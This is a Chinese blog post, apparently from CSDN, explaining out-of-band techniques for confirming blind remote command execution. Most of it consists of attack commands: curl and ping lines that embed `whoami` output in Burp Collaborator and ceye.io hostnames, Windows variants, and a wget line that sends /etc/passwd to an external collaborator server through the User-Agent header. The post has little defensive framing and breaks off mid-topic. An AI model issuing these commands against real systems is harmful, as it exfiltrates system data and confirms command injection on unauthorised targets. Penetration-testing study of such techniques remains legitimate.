网络安全最全带外攻击(OOB)RCE无回显思路总结详解_请求带外攻击(oob)域名

最新推荐文章于 2024-05-17 09:10:23 发布

2301_79985178

最新推荐文章于 2024-05-17 09:10:23 发布

阅读量504

点赞数 5

分类专栏：程序员文章标签： web安全安全

本文链接：https://blog.csdn.net/2301_79985178/article/details/138444245

版权

本文详细介绍了在网络安全中，如何应对命令执行无回显情况下的带外攻击（OOB）。讨论了通过DNS、HTTP和Windows系统的利用方法，包括利用curl和wget进行数据传输，并给出了利用DNS管道解析实现命令回显的技巧。

摘要由CSDN通过智能技术生成

好了，不卖关子了，我们接下来开讲

第一种命令格式

通过DNS记录查看是否执行(最好执行两次)，ping走的是DNS协议

curl `whoami`.wyyysg1fi9svq8zgf0g11dz80z6pue.burpcollaborator.net

DNS,http中有回显

第二种命令格式

curl http://n7vp17a6r01mzz87orpsa48z9qfh36.burpcollaborator.net/`whoami`

DNS、记录中无回显，http中有回显

linux系统：

ping `whoami`.ip.port.ttq72fceob0yxwq9342c4yuo2f85wu.burpcollaborator.net

windows系统：

ping %whoami%.ip.port.ttq72fceob0yxwq9342c4yuo2f85wu.burpcollaborator.net

经常在拿下shell的时候碰到命令执行无回显的情况，因此为了解决命令执行无回显时，可以借助DNS管道解析来让命令回显

wget传输

使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上，xargs echo-n代表去掉各个分隔符，换行符等符号输出

wget --header="User-Agent: $(cat /etc/passwd | xargs echo–n)" http://6rych16irk3064ztjoo9ufasuj0do2.burpcollaborator.net

通过curl远程命令执行RCE去对靶机执行以下命令

#通过http记录查看是否执行(最好执行两次)，curl走http协议
curl http://ip.port.XXXXXX.ceye.io/`whoami`
curl `whoami`.XXXXXX.ceye.io

如果回显信息不全，可以使用如下结合sed命令令回显完整，但其实也不是全的

关注

专栏目录